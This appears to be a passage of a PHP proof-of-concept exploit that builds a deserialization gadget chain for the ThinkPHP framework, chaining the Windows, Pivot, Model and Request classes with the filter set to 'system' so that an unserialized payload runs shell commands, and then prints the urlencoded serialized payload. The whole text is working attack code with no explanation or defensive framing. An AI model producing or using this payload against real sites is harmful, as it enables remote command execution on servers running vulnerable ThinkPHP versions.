abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["Y0ng"=>[]];
$this->data = ["Y0ng"=>new Request()];
}
}

class Request{
protected $filter;
protected $hook = [];
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '',

];

public function __construct()
{
$this->filter = 'system';
$this->hook = ['visible'=>[$this,"isAjax"]];
}
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}

namespace think\process\pipes;

use think\model\Pivot;
use think\Process;
class Windows
{
private $files;
public function __construct()
{
$this->files = [new Pivot()];
}
}
echo urlencode(serialize(new Windows()));
?>